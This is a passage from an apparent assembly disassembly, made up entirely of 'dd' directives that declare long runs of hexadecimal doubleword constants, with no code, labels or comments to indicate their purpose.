1E22583Ch, 5D2AA630h dd 9DDFD0F2h, 32F27DC1h, 0A7D42FE1h, 0FD09EF1h, 357FA457h dd 0F31A65B6h, 31AF8623h, 25DBFF18h, 58A87745h, 0DBC96B9Ah dd 81819ABBh, 0C67F0D18h, 13E97DC4h, 0C69E4485h, 5F155BA8h dd 0C5CECB5Fh, 0D8258EE0h, 0EE24EB70h, 3D48AC41h, 650FF44Ch dd 0CE95CD6Ah, 4F99B13Dh, 5E83904Bh, 0C791C7C5h, 0A9BA776Ah dd 32FE19F4h, 567F9E8Ah, 74FF3596h, 9E8129F9h, 5C33E902h dd 502ABAB7h, 2089C5E7h, 68BD1FDCh, 4BC60EE0h, 592D25F2h dd 125F3188h, 5E86B5EAh, 89AB679Fh, 9A5E2927h, 3033E4DFh dd 35FE2E57h, 0FA0C6EA4h, 5267CFFBh, 8A74795Fh, 1E209143h dd 4BA1E291h, 0A8C2541Dh, 0C279902Eh, 0C804D708h, 0CF1B1A57h dd 0B7F99A16h, 0E94D1E82h, 30EA8830h, 4D8060Bh, 0AC89623Ah dd 111A519Ch, 67AB77DCh, 808686DBh, 3813B77Dh, 0B95C6005h dd 9C2D469Fh, 0A04E826Fh dd 3A52CFC6h, 94607C4h, 147F4EE3h, 4BCA76DBh, 0DA7B7EB6h dd 0B6BA7FB0h, 44E5B773h, 0D8C95865h, 21B31276h, 2914C288h dd 0C0CC72BDh, 2666EF32h, 0E72E043Ah, 48266EF5h, 20E8B232h dd 0B29103E0h, 5C3563B7h, 61D27D83h, 6A264540h, 0A8AD8FE4h dd 9B465AAAh, 9BE99D4Eh, 4119FBFBh, 0C25E51D3h, 0F837C9A5h dd 87F80223h, 115D1FD8h, 799B5F1Ch, 0D64AC077h, 19241546h dd 677F8899h, 0C54060F8h, 0DD3DBB44h, 0A0349D64h, 2B3CEBBAh dd 0A8467C04h, 1188E13Ah, 29A85CD5h, 0EA60FA14h, 6B1360C3h dd 2A4C9D09h, 24F28CB5h, 0C09DDC8h, 7184B4F3h, 32063533h dd 0BD6C89C8h, 0A58B375Bh, 359C1611h, 29EED3A2h, 0B4A802CAh dd 5CC65062h, 0B666DB7Eh, 0F16CF383h, 3277C54Ch, 8703673Eh dd 3D1BB4C5h, 279AC5D8h, 2B975A26h, 9CB2E57h, 0B538ECE1h dd 8212A349h, 0EF812CF7h, 0EB42B9CAh, 0D1F8C69Fh, 7686C307h dd 45A48FCEh, 0F5BC2ABDh, 6EFE3EF4h, 125BC0F5h, 9E56E62h dd 1C88A11Ah, 7968DC39h, 0E5B6734Bh, 0F1F78638h, 0BD3A9459h dd 0DB44EDD2h, 66A99E77h, 1D22495Dh, 0C5A686CBh, 0B1255DCh dd 78FDED9Ah, 0E2E70793h, 42EB665Bh, 4F89B37Fh, 75E673D5h dd 0EA41B388h, 0C150B0F9h, 4550874h, 6F938D2Bh, 7A8F9AA9h dd 0F6C11E88h, 348B63C6h, 0DA7454Ch, 9375877Ch, 138CDF20h dd 8930916Eh, 9009074Bh, 0B39F0207h, 90456603h, 34910D8h dd 76FB486Fh, 71B89C9Ch, 0D643EE9h, 83C0F19Eh, 0B87021F2h dd 0C61F486Fh, 0BE3D55Bh, 837FE888h, 0E02CD5C6h, 1EA3438Dh dd 2A03E421h, 66A36AA4h, 37C0BA15h, 83A8E6E7h, 638079h dd 36993FF8h, 0B94C3C8Ch, 95A3AA77h, 0B9DC8B71h, 22BADB47h dd 7D5104D6h, 8B8B53D4h, 61C29B3Bh, 0F43FD218h, 47633444h dd 0BB8C4C56h, 4CD06913h, 56E8E2A5h, 0E1F7B63Bh, 9A9DD338h dd 0D5E0B02h, 2939E2E2h, 0E1122F01h, 0A2C397Ah, 5982464Bh dd 3E5B2A89h, 63CEE4C4h, 9E7EF4A5h, 61608B4Dh, 2183805Bh dd 24F9F75Bh, 2770B3B0h, 0E4215D5Ah, 83BE14C4h, 0DEF5CCDAh dd 0DFC6E555h, 96EAFF6h, 7BD27398h, 0AD9800AAh, 25683160h dd 366DC941h, 9A0976CFh, 0A1AB82E7h, 0E4D8996Eh, 0F0656DFEh dd 898C42CEh, 692678B1h, 3B474426h, 0F540DD55h, 6C920B4Ch dd 875FE17Ch, 3CF5B37Ah, 0BEA2270Bh, 0E0986605h, 0CF60D716h dd 0FA57EFADh, 6DD1E0A1h, 0AAA876CFh, 3E5BCE58h, 0B979D84h dd 0BDA5B3A7h, 0BBE146F7h, 5A5B86E6h, 0BBDF15ECh, 8FBE3FEBh dd 3ABC6E7h, 9A2EEB40h, 4CE9AB43h, 75B246C8h, 0F256D040h dd 7C0F1809h, 0C617E90Dh, 51021CD5h, 0DB12980h, 0AE39B8B1h dd 398AD5h, 0A8450ED6h, 0FCB6E727h, 13D7443Fh, 6FE9C44Eh dd 0A09F0B67h, 0DCBF776Dh, 264C4BB2h, 0C30249AAh, 0D80756FAh dd 9D94F8C1h, 6264CD85h, 4C5F8829h, 0CB78FDD6h, 846B659Ah dd 0A398950Ah, 1846E1Eh, 89909C9Eh, 0D75E1A20h, 0B59CB50Eh dd 0F2A29728h, 4748740Dh, 4CEF8BE2h, 76FFF370h, 7B2684DDh dd 9ED1D0F2h, 0B295A1A5h, 0AF96F0C3h, 0E0FC74B1h, 3563D13Ch dd 0DFA92DFEh, 0C588E73Ch, 292BB990h, 38E80Eh, 0BA843F98h dd 0A9851D7Bh, 22AD2DB8h, 31B1E7EAh, 0D3C3B375h, 27F55525h dd 0CF4F8FA3h, 2B5A576h, 0F0AA81Ch, 0DA321376h, 950ED504h dd 0D4414B0Bh, 0EEACC26Eh, 0D98297C3h, 2C35CC06h, 91179548h dd 0DC2C3BB3h, 286CD136h, 4C2891F0h, 0B9CC39F7h, 0EC15BEDDh dd 83AF625Ch, 0CE0F8B0Fh, 109958C3h, 0B6B9C5D7h, 102E260h dd 6C27A46Bh, 85BABA9Dh, 0E7E0D35Ah, 914FA022h, 16103009h dd 8B3FE243h, 0A6577ABh, 34090C9h, 7371CA0Dh, 7DCB5A3h dd 4B97AB17h, 575947F4h, 0D0347983h, 7E8C4EC0h, 0FDAAB97Ch dd 19C293CCh, 2B2062E2h, 603DDF2Bh, 0D19A7CBCh, 0B01D3873h dd 86CFFDF3h, 0F6AEBA15h, 6B92022Eh, 4AAF5745h, 264321E5h dd 5DC6C2F3h, 0A7ADC3ACh, 2C64202h, 4F18126Dh, 59C13CB8h dd 2F2DA187h, 368222Bh, 43382D64h, 334D22F4h, 9E5553DFh dd 0E1BC51AFh, 1BCE461Fh, 16CEFADDh, 242CE1Fh, 4E45F6BFh dd 9AF4F38Ah, 0B0659E53h, 4E4ACFDDh, 0D687540Fh, 0D4F789D0h dd 0E13ABF56h, 87F27216h, 0B9F6B02Eh, 1051BAE3h, 3FE98DB2h dd 2E769A6Bh, 0B4A5D386h, 38233021h, 0D037A5E4h, 0AB10A37Eh dd 65ED5E00h, 1708EC4Ch, 39630E68h, 0A110F595h, 0CCF97475h dd 2A688D78h, 3ABA673Fh, 8E2D5BFAh, 8795D19Dh, 0C03B2A22h dd 0B351A55Ch, 8C535F55h, 0E4773532h, 92179947h, 0C4FD318Ah dd 93507E2h, 0F0F97924h, 76D9BEB0h, 3D12A5A2h, 66150A36h dd 0D421A608h, 0EAA4FBC7h, 31402095h, 240DF5B4h, 0DAF35A43h dd 0C2BD77A8h, 97C4B5B9h, 28984B60h, 0E07D9889h, 0DB5AE547h dd 4A623277h, 6D4C8A13h, 0B87761ECh, 6639FF7h, 471E29E0h dd 884E432Bh, 5FDF9E34h, 97AB23F6h, 363A1D36h, 4ED8B741h dd 0ADD04A47h, 4808BFh, 0C662DFE6h, 73A5BDFEh, 124547F3h dd 198B411Ch, 0C2230B54h, 1A79D418h, 58468D2Dh, 0DF562963h dd 0C8B7FDB2h, 2ED18A7Bh, 0A5282BF4h, 4019FD50h, 6D2D397Dh dd 7DA10CA7h, 0E76D0E85h, 0AAFBB3C0h, 0EB4A336Dh, 24EFD30Bh dd 4631C6CEh, 28AA937Fh, 92B76F59h, 0F43EEA7Ah, 0C36A9EF0h dd 7F3250DFh, 1BA572F6h, 0B465EC29h, 7B0AD6D6h, 0FDD29983h dd 0C255517Ah, 6BB88D29h, 0DBCBF441h, 6A80FF50h, 3C29EAE8h dd 9A106ACEh, 0CDECCEEFh, 35B11890h, 0F0916B0Bh, 2CA9F1DAh dd 26B31346h, 9E5ECFB7h, 0FA526903h, 74B1C9EDh, 4950DF70h dd 9C51E8A6h, 4D2AE715h, 1E0832EAh, 8FA98156h, 732CFACBh dd 0C6A16905h, 0A20BD7F5h, 3B4E9F38h, 0DB43DA5Bh, 1822E84Fh dd 3D20EE84h, 73B038DDh, 12E4FDD6h, 0A8E2724Bh, 4E7CFEC6h dd 0A12E181Ch, 0DC5B5FBDh, 0E0FF8C0Fh, 7F9158C4h, 7D028AD3h dd 0ED378A19h, 0D3D59226h, 0AF8BA9E6h, 24F8ADF7h, 1567AB23h dd 6C51288Dh, 0D11DC3D2h, 0BCB30969h, 5B27FD4Ch, 842EF52Eh dd 189261Dh, 0F26A2E64h, 0D85D5E93h, 44213CF1h, 12D0AAE4h dd 0E67BA64h, 0CF9D04F0h, 0A3409332h, 1E2C8606h, 0D4FF776Fh dd 5CC9AA57h, 0F6EE47A5h, 8B2E8524h, 71200C9Ah, 0C40BA461h dd 0FDA3EBACh, 0D8AD4DE2h, 0AC5B7328h, 24A021B7h, 2ED9A64Eh dd 89F1D5E0h, 9F2B5860h, 9D40D26h, 0C782F182h, 824602E6h dd 4FE5DFEFh, 7054DD03h, 0DD8479Dh, 9BA58284h, 8632E885h dd 855680DEh, 1B76423h, 0BD852D5Ch, 0F15777F4h, 9F260EDCh dd 9E88444Eh, 1059D6C0h, 0E54CB546h, 0EF13BE36h, 543B7D0Eh dd 2BD6905h, 0A06D12B4h, 0C0450ED0h, 0BD4B96E1h, 0C8955CE5h dd 0AA0DC0D9h, 1B9267D3h, 955A4F11h, 75FE37ADh, 3D246E60h dd 0D2EBC72h, 8F2ECB5Eh, 356CBE19h, 13BE90ECh, 139250DEh dd 0A04238C3h, 0D0E59E6Ch, 7A28D16h, 0C0FBD11Eh, 33EE486Bh dd 1CFE2266h, 35F27931h, 94633B70h, 0EF57E99Ah, 0E2E0309Ch dd 0AC5D540Eh, 0FEBC4A0Bh, 0A5CD928Dh, 15D457CCh, 5B4BA85Bh dd 1EE300DEh, 0F4B8A867h, 4EEF9DBDh, 4B3AA2EFh, 3E370E68h dd 0B1FDDBDEh, 0CC3B2A01h, 222A85Bh, 59C47DE0h, 0F3DBA6Bh dd 9BF7524Ah, 8848CBC2h, 2E9E1E2Ch, 479C736Dh, 46CDEC0Ah dd 0F8A15791h, 5B626622h, 11C0CA13h, 0A2C30A0Ch, 90F875B7h dd 8291858h, 2AEDAA06h, 2949E561h, 245D095Ah, 0A554D48Dh dd 282909B8h, 0C1988587h dd 0BCAACB69h, 0A0290BB4h, 76D39B4Bh, 0B66C95FDh, 5B975A96h dd 0FF2020D3h, 0A0E9E499h, 0E91641F3h, 0F3A7B40h, 3428713h dd 43020502h, 36DA25E5h, 0E3FA6C7h, 0D893ADDh, 0B61C157h dd 70D4CDC5h, 0E48D00ABh, 851F3062h, 9B589D49h, 69D9AA62h dd 32B76A6h, 32D38E49h, 9E0DFF71h, 62A43AD3h, 17F4098Eh dd 7A6F96B5h, 0A2738767h, 67CA71B3h, 78E8B83Fh, 3EE8277Dh dd 1B0F5516h, 0CA4384A6h, 21FAF922h, 0A97F46CBh, 8D0F41Fh dd 0EA07FA85h, 0DFCA1C93h, 0B049F2h, 0A1D5F105h, 43E01C1h dd 95D8E03Bh, 47E03105h, 0BC69A69Ch, 0EDABEAF3h, 1A488CDCh dd 7088A2C4h, 8C2D2879h, 32F3AF08h, 5118E4FAh, 247DE551h dd 10FD8B4Bh, 860B1753h, 0E475369Dh, 0EC871716h, 0B0F196EFh dd 5198B874h, 2C03A61Fh, 8ECD49A7h, 215CA01Fh, 42C54FFh dd 2CE1B14Bh, 41E29FE1h, 3C7323F9h, 1D6F3CB7h, 76EFC72Ch dd 9B796BA7h, 9B9C16B9h, 1623BC49h, 0BF74B775h, 0F1B5F965h dd 5273EE51h, 4562BCF4h, 20C48C71h, 0DC907079h, 4F565205h dd 0DFC4420Fh, 0C54E836Eh, 0A10D3DFDh, 1B60A255h, 0D6C72E94h dd 76F0FE49h, 2C50BB6Fh, 55930FCBh, 756C7F9Ah, 293B216Eh dd 0F1BB7034h, 62291697h, 0D51C605Fh, 1B1A6584h, 0BF418393h dd 672AEA37h, 1816B8BDh, 6DDE3521h, 44CAF44Dh, 0EED18B92h dd 9D958EB7h, 5ACEABB8h, 0E5440929h, 596FFD16h, 88C4ECDAh dd 6EF2851Fh, 0AFE3C915h, 5CBFBB11h, 0A84E188Eh, 9D16782Fh dd 0AFC74A4Ch, 0C7464BB8h, 57ECA700h, 6D20FFB6h, 202C1EB9h dd 519C4BD5h, 30246895h, 19DDBCB9h, 48A5769Bh, 980BCA6Eh dd 0B25EA5F7h, 0E22B4C20h, 2B88907Ch, 6BB163CEh, 0FE3E958Bh dd 0BCC2639Dh, 0CAA77A02h, 46819D07h, 0DE431BDDh, 6C7CC657h dd 0C93126F7h, 1C2BE56Ch, 44B615DEh, 0F34A6857h, 9D4FF2BAh dd 0FC36D74Ch, 3CF5C42Dh, 78B9564Dh, 479075A8h, 5273468Fh dd 0A966FBA6h, 0C0C24B64h, 35EA6809h, 0F5C82FF8h, 0ED48D028h dd 4D94D9AFh, 16521053h, 0BA78D811h, 7B3E46CFh, 0FDA20F88h dd 0EB8C7D4Fh, 8C2D6136h, 0BA7AA0C7h, 706AD3B6h, 0AA350882h dd 2B788D2Ah, 8ECF7056h, 20414994h, 0AD252C02h, 2CCE9776h dd 33853187h, 3163F993h, 2750B510h, 8A6AE3ADh, 86C0EAE1h dd 0FE4017F4h, 0CF3C465h, 0AFE28ED5h, 5C051AA5h, 515EEE97h dd 8F968CC7h, 0B42F99DCh, 0CC1D2C56h, 0E9D9AEEFh, 7BDAF14Ch dd 0D7824E11h, 0E9025312h, 0AC19FEA3h, 0BB7CBF5Bh, 0B65259C6h dd 0FD7A646Fh, 6C4BF768h, 2D3C9223h, 92C19504h, 9C294C51h dd 4D911EE6h, 7DD60530h, 8EC6CA40h, 6B72147Dh, 11A8826Ah dd 9499A011h, 0F8AE014h, 0B97B8C46h, 1E7B76DDh, 219B7835h dd 39A47CF0h, 0C31CBB41h, 0C06DC07Bh, 2CF0C81h, 0ED8D70BEh dd 0E40D1EA4h, 1A07AC4Ch, 61BF93AFh, 0E4881120h, 0D008FA6Ah dd 0F318F429h, 4F293C1Fh, 72BFDAA0h, 523DFEA3h, 0B14E25E8h dd 7B922BE0h, 0AF52DAEDh, 0CC1291C9h, 33633F42h, 0DF63E56Ah dd 25C21B98h, 0E6A18E3Ch, 5FC8D163h, 7DF3D3Ah, 73A87CDBh dd 46896BA2h, 118A9FBEh, 70F925ACh, 3ADB8829h, 74A14011h dd 95042188h, 0A596331Fh, 0DF652FC8h, 45FA9E5Eh, 98A8FDD0h dd 74DDB85Dh, 5A3A6BAAh, 0B6EA4BFAh, 208716A8h, 0E1C60AD3h dd 0C2C3BF49h, 53DCB9FBh, 0D2A4EFEBh, 0A352C07Bh, 0C4E52C72h dd 8493073Bh, 46C25785h, 2C392488h, 57BA1620h, 12987A9Bh dd 5C94D24Ah, 0D730F81Dh, 3C30F44Ah, 9FB4C130h, 5CE12E8Fh dd 62A010F5h, 0BD7CA552h, 145E60CCh, 313DA25Dh, 53E858C4h dd 0B75D3099h, 57D4B9A6h, 0BB66DBB6h, 7FE93B73h, 4B9D697h dd 59A64747h, 6336DA14h, 9E5BE4A2h, 2F16AA2Fh, 1BB8C36Eh dd 600AA566h, 17E649AAh, 0B943E44Eh, 386506BCh, 0EA32C238h dd 4FDF4838h, 89CBC08Fh, 7A8957C8h, 61E911A2h, 0F745F431h dd 106F27E9h, 0FDF022CFh, 9596E564h, 7F670832h, 0E33F0429h dd 23B7DD21h, 0E56BA07Ah, 0BAF92019h, 23C964B5h, 5B089540h dd 0F13AA7CAh, 0FD86742Dh, 72D3896Bh, 0DC41CECEh, 9E17BC1Dh dd 8142FB46h, 71C8B8F4h, 2A1D54A1h, 78B0021h, 5F71806Ch dd 1D3C66DFh, 0E82142DBh, 50654E1Eh, 85569D0Bh, 554534FFh dd 0C41155F6h, 928765D7h, 596A9C4Fh, 859F1E91h, 426F74B1h dd 972E6721h, 96A16FCBh, 36857B3Ah, 0AEB7E20Dh, 4A8F55EDh dd 0C92D4B8Ah, 43F68BADh, 0C1532BBBh, 0E58D66C8h, 0F5344EA8h dd 81F9B36Dh, 3073E3ABh, 0A282CFEEh, 7D38C254h, 6BC88A2Bh dd 4457D9ABh, 46E3A0D9h, 0AB71D81Dh, 164925D2h, 0AA42F5B1h dd 862CCB08h, 83EC73Bh, 0C83118D4h, 0D8FF2841h, 0AB099381h dd 0E1C176FBh, 9882C761h, 663EFBE3h, 8294862Dh, 3C32C15Eh dd 73EB4564h, 0C3532B86h, 0AF60CDB8h, 0BE65CFEEh, 7DD31B8h dd 0EF0BF3C7h, 71A134A0h, 0AF023BA8h, 6E876436h, 0C00971BAh dd 0F04F3247h, 0C92F3B80h, 8D7A33DFh, 0C6986128h, 0F8F64B7Ah dd 0BBF81DFAh, 17D5DE52h, 9EA1EA71h, 0D4B2F3BFh, 5A238A51h dd 0C563EA09h, 31FA0B65h, 0BFA18DBFh, 0F9AA6B37h, 9C89F2DBh dd 0A7C07B80h, 14DC0FE3h, 33F25221h, 0DEEBC875h, 570A070Bh dd 300A4BA2h, 19D2EE09h, 0AF0C5DE2h, 49D42E67h, 2FE98CA8h dd 0D0AF16E6h, 641606A7h, 16AF803Ch, 488728E3h, 0F6D81F8Bh dd 2704EB69h, 0C0E503F3h, 0A86D0CA1h, 63AD336Ah, 4A3348CCh dd 85C395C2h, 75989630h, 387B1B36h, 0AB339A3Dh, 0CBCA6A83h dd 55DDB5DCh, 8554DA7Bh, 0BF21AEA7h, 0C761CB7Eh, 923DBA7Ah dd 0A65EDFDDh, 2C6C512Dh, 8DB9E7F5h, 74EE7BC5h, 6D2CB4BCh dd 6CF2AF0h, 3E32541Ch, 9CC77AE7h, 77283958h, 0F28EBAE3h dd 46585E1Eh, 11A752E6h, 0BBFE4C91h, 0A9515B7Ch, 8CEF35F7h dd 49B2BB8h, 1E582B81h, 36D9DE3Bh, 94B078EDh, 0AE8B4C09h dd 0E57354Bh, 7AC3F0C7h, 8A33E4F2h, 73B8320Bh, 233214B1h dd 0BADD40B2h, 4AE7550Ch, 9B5943FCh, 0C4A6B8CAh, 768C2849h dd 0B3C71FD5h, 728A0882h, 0AD56761Bh, 261637D7h, 0F58E47CDh dd 0E646A641h, 94AD01ECh, 0AE600FDBh, 28A411C5h, 657D8B5h dd 0CC7BE2Ch, 0B055F0F4h, 224F5D44h, 0C341C574h, 36B05341h dd 0D5A4B99Eh, 0CA6C2F00h, 804B6A4Bh, 9B8A869h, 1EF6BC89h dd 71008756h, 0E316A32Fh, 0FEBB6565h, 0B28A7DA5h, 0C0C393C8h dd 3A0F8A08h, 6EDE6F07h, 41C04D01h, 7047EEFAh, 6974C127h dd 1DDD4FC8h, 30AF69C5h, 3601F5C7h, 6CF54DF5h, 0A75CCAB9h dd 0B02D7A23h, 832D47F1h, 0E662779Ch, 0B8799034h, 4B4F836Dh dd 0C21E0F82h, 0E8BC1DE1h, 78B9BEC4h, 4EC182ADh, 0C245E0Bh dd 6A608B59h, 0D9E475C4h, 0CB7177A2h, 97101C22h, 4034A64Eh dd 326D9070h, 0BBEB10F5h, 1F366980h, 2DAFF28h, 3CE9719Fh dd 0B4CA7711h, 0A3D548Fh, 0AD58A15Ch, 8FBA409Ch, 0D95FEA68h dd 0E7DD5FC3h, 569FA014h, 0D354A54Ch, 4CED1619h, 0C97E0781h dd 128897F0h, 0B3988121h, 46B4F707h, 70605688h, 0F7E0AA94h dd 0B89A2C06h, 0E71BF994h, 0A3595625h, 39B120B6h, 0E61518BDh dd 0FD3CAAB7h, 1C746120h, 0D673C867h, 99B9E321h, 0B5F18FF4h dd 2E6FBB0Eh, 0F1D2925Eh, 2C2ED61Fh, 2DCC09EEh, 210EB568h dd 834AED28h, 339B1B0Ch, 28CDC3D1h, 728A16FFh, 0D1325D49h dd 5301A708h, 0C34E9E82h, 13A12A29h, 0F1C52815h, 144F7F5Bh dd 0A58E5F17h, 93B58B67h dd 72411D73h, 0D1B228E3h, 591E8D2Ch, 8F7F6CD2h, 3C0F969Eh dd 0F1B9D918h, 248532ACh, 4A278354h, 7E2434A2h, 988D52CBh dd 4259A72Ch, 64A75C9h, 0D0142981h, 1DC2C148h, 0A0532745h dd 723B12F5h, 0F24B7226h, 0FEBA2A23h, 8AA01EDDh, 0A6BA6F82h dd 0EE2CEEEAh, 1E0147CDh, 905E1BA6h, 5E04BA95h, 1FA316CCh dd 3879F47Ah, 0B7C272D6h, 7D8EB941h, 0E511069Fh, 22C7875Fh dd 0B422210Dh, 7F10188Ah, 76FCBF72h, 7B46081h, 1059A01h dd 0CFF303FDh, 4FF07D74h, 23CCB7C6h, 9EC9FF1Bh, 13DE9A23h dd 936BC562h, 0F3BBD265h, 0FCB1D062h, 89C09CE1h, 2FF6D414h dd 604E65EBh, 0A349DD68h, 0C257252Bh, 39B9BA67h, 0D6B1D251h dd 791FA9ABh, 0E2CF519h, 39EFD113h, 8905CC49h, 78A5427Bh dd 0CDDF8500h, 0DDDAC74Eh, 0E2116F14h, 7816D2F6h, 0F40C093Dh dd 64936B37h, 38E469A4h, 3B4429F5h, 46D26441h, 0ACDB2622h dd 0EFC90D03h, 96EF3A06h, 0DC5ED441h, 73E0D9C8h, 0B4F179B8h dd 51C34A7Fh, 75CC7C6Ch, 681DDC90h, 4DD65EEAh, 8FC08AC9h dd 5999E756h, 0B07E4963h, 0F7F1BC8Ch, 8CD36E23h, 49E5373Dh dd 6A1951DFh, 40121466h, 0DC307E49h, 2BB3D35Dh, 0EB442818h dd 177C212Dh, 0D901D4D9h, 6F238744h, 85549654h, 26E8D9F3h dd 89FA771Eh, 8257B775h, 0B3A9AEC3h, 79A48124h, 3509B03Fh dd 0E790748Ah, 708C56BAh, 965831E0h, 4F3F580Ch, 8551E844h dd 2830DE2Bh, 0E223EB69h, 6AE313CAh, 0C7F40397h, 368887F3h dd 0D67D8AFEh, 7B358E2Dh, 97AA86BAh, 3ABA8E13h, 2DE5161Bh dd 47A8B778h, 9F59A485h, 7EFA7DDEh, 0E6683CEFh, 25A24317h dd 67659408h, 421B304Bh, 0A122BB9Ah, 3A3641CEh, 73F45DBBh dd 9A1776F0h, 7F88F8Eh, 19642D6Fh, 0A9019293h, 0E279860Ch dd 4A0ED780h, 13CA3683h, 6020E912h, 8FA90A56h, 296306D2h dd 9DB20B0Eh, 9898BA0Fh, 6F0558EAh, 0DF21E3D4h, 629093A2h dd 6CB849AFh, 65E5C284h, 0F8388773h, 0E2AE8948h, 2FEFF46Bh dd 14D5B420h, 0B9D298D3h, 0CA0DC376h, 0A1800D8Dh, 2DE68A4Bh dd 976234E0h, 0DAA37039h, 0C6FE1253h, 6D9476A7h, 0E5876142h dd 86FE3914h, 562B9A5Eh, 4C1D04ACh, 0E8BBB26Eh, 8968137h dd 20A23D00h, 7E07A847h, 0F23794A7h, 0B266D154h, 7D5A25C1h dd 0A17259D2h, 5E039A79h, 4D6A11DBh, 0E48E0ACCh, 963D721Fh dd 0A22386DEh, 15992773h, 0FF0E2B61h, 0B8FCA257h, 0AD532704h dd 1FB5384h, 74BAB5B9h, 288B0FFEh, 9542F13Fh, 0FDC3B4BFh dd 2488A91Eh, 31F442EDh, 0CC2B91AFh, 0E5E26863h, 80312AF8h dd 90DB8805h, 4FCCF36Dh, 49D4E770h, 0EE42F8CCh, 0C9DC882Fh dd 0F19743A7h, 9B0C70BDh, 0F0EA2B0Bh, 0C7FEEA75h, 96B38AAEh dd 0F2737813h, 0A315F6B2h, 49508812h, 17A3FEBEh, 905969FAh dd 0CF2B85C6h, 435C39F9h, 3E36F974h, 83738CE9h, 0C12A5Dh dd 5BED36B4h, 0E1BD332Dh, 99189D07h, 1F6EA50Ah, 14285566h dd 0FC849BC2h, 0D1E5DCBFh, 97173330h, 80743AE3h, 5FF8A9B1h dd 8A4C1ACBh, 30392A4Dh, 0FD796F26h, 36C0413Eh, 0E537C0FDh dd 5B599E08h, 0E4ACCD08h, 6CBB6025h, 0CD31755Ch, 7C8318D4h dd 0CD4C10ACh, 0CB9C5199h, 0B9975E56h, 2D07EF8h, 0A9217FB0h dd 2C719891h, 8E467B12h, 8A94418h, 0ACE56CDEh, 47CA67D8h dd 9EA707F7h, 6F445D99h, 0F6CBC12Bh, 6465E9C9h, 954BAE80h dd 34742587h, 5E20B88Dh, 0B9795E1Fh, 0CA78B9F4h, 44EBD15Bh dd 43ECB15Eh, 0A03A4FEAh, 1EA7B6C0h, 0C400DF3Ah, 35EC4ADDh dd 84C1988Ch, 0CA97BC1Dh, 3542CE06h, 0D318687Ah, 0CE961734h dd 490844C1h, 22FACA78h, 7027AA3Eh, 20D5830Fh, 4CC9657Ch dd 45AC7F43h, 6AFC3897h, 0CB5B43CBh, 0B62F9428h, 3AAD829Fh dd 64A37DEh, 4CB0989h, 0D7A56AD4h, 0B9199864h, 8AE5A570h dd 0B2B9E194h, 0E5530508h, 7EBA7F7Bh, 410A106Dh, 4EBF8ABBh dd 49317E6Fh, 5C1977F0h, 3F31C628h, 0BF940227h, 0C26E06ECh dd 41FD26E9h, 75165F11h, 0E82E61ECh, 1DDCF668h, 147D9492h dd 0ECDF06ECh, 0DAD45C16h, 3D18D24h, 0A5A41096h, 6F5C31E8h dd 472FAA14h, 0C9E41C6Eh, 4E8D4964h, 498B6DC8h, 2EBCB400h dd 0B7DA406h, 31F581AEh, 783CCC89h, 0F54C63CCh, 0B05E1497h dd 0DCBCB515h, 92445F9Ah, 0C2B211C7h, 453D842Fh, 6A81AD99h dd 16E813A7h, 0F628E579h, 0EC2AA4Bh, 0C2E00CC7h, 7600D53Fh dd 0AF9C941Eh, 99038C49h, 0AB5786BDh, 3A66F2B2h, 5BE8A5DBh dd 0A8492C88h, 0E358D8E6h, 0D2865A3Ah, 0E1AF1A4Ch, 9E5C06ADh dd 7A38C66Bh, 951669EAh, 0EE1FCD06h, 0D8855C65h, 0C263F246h dd 33D8793Fh, 10294841h, 52A95A4Fh, 0C64DA33Bh, 21DA3329h dd 76C5BC23h, 0FBDCD568h, 7868E360h, 1E8BF579h, 2A4F64F9h dd 0EA39881h, 0C46FB42Bh, 0A48547FDh, 0FE3E62FCh, 6517E61Ah dd 0A555AC5Fh, 2521C6B4h, 9B314180h, 0E2B7E1B3h, 0D4CAAC7h dd 0F48D6020h, 0C89CD85Eh, 0BFF772BAh, 6ADAA7B4h, 962AFBB3h dd 8E150FB1h, 3E533670h, 37253C2Eh, 6D0DBD0Eh, 9F038459h dd 590ECCC5h, 1C653C5Dh, 58998CC2h, 2FFE7C3Ch, 57ACCB63h dd 3D523F06h, 0A800FB98h, 86D3208h, 65BA02E3h, 27F0D926h dd 0FC0AD3F5h, 5178FA79h, 5F9E6EFDh, 8F3E5111h, 31F42CE8h dd 0D3760896h, 0FB666E56h, 92D8C7C1h, 70836D3h, 0CB21136h dd 7B3B6CF9h, 50EF8EE6h, 9F2E60F9h, 66F16C4Fh, 0D5C0ED00h dd 31953E1Bh, 0CC60E359h, 12683627h, 0B9A478D6h, 0EBD78DE1h dd 8520FE4Eh, 56CF90B5h, 0C48364F4h, 20199693h, 2A6D7F9Bh dd 2D9F0085h, 4AA83908h, 4160B859h, 6516DF98h, 9BCF77A8h dd 0F5CE4F88h, 4F5E0720h, 8B2483E8h, 0C0E56A93h, 0A234212Bh dd 8037F0CDh, 0D84CFFB0h, 7040C564h, 85CE2571h, 86ED7D70h dd 0B4E9373Ah, 0E5D1B777h, 0A5ED168Bh, 5706F8D8h, 961F94C9h dd 0C3AAD33Eh, 9D694068h, 9BE1604Dh, 699590Fh, 1FE83AF7h dd 31F14E69h, 80967AD7h, 343284ACh, 0F44D1220h, 9365BE05h dd 92CB3807h, 0B9776079h, 11161BBEh, 0C3E1B1Eh, 6938FCA7h dd 0B7EA4B90h, 6BD871EDh, 0DB9499C2h, 20E102F7h, 146BC240h dd 31AA6721h, 331CC57Eh, 0ECF273F0h, 0E87D2ED4h, 40BCC825h dd 0FC7AB92Bh, 0F7F07825h, 39486013h, 0B19E51E4h, 0CD7F731Ch dd 8848EC5Fh, 1E13C050h, 0D8ADD380h, 0A9A15A43h, 0D427C210h dd 3298BF8Eh, 0A08F1B7Dh, 0AC342173h, 63C65126h, 231BCDA0h dd 60797E54h, 0C0EFAD67h, 74E00D9Eh, 13C3206Eh, 40F93C55h dd 83D466DBh, 0F64FF433h, 2487BC45h, 274D018Dh, 5708E112h dd 0C259D4F0h, 103C1104h, 0CF7D413Fh, 0B144CE7Bh, 8A0C856Ch dd 0D756FCB1h, 174051E6h, 0C53EBC47h, 0ADAEABB4h, 0FE0551ACh dd 0FE87045Dh, 42C44951h, 0C7E4C5F0h, 703A9DF6h, 94973021h dd 0A900D192h, 0C33C55DAh, 0CCBE7BCAh, 96D76605h, 0A069ABBAh dd 1B6D03C3h, 0D70CECF2h, 919ED43Ah, 67C4E662h, 318297ACh dd 0EA4F1417h, 6CED299Bh, 1386C75Bh, 0B6C8221Ah, 4CD1E2F3h dd 0BD5D298Bh, 410A633Ah, 0B3E2C354h, 4452269h, 90C1DA5Bh dd 5C9EC699h, 7899C261h, 0EC58B18Bh, 0EC800120h, 43268051h dd 282587FEh, 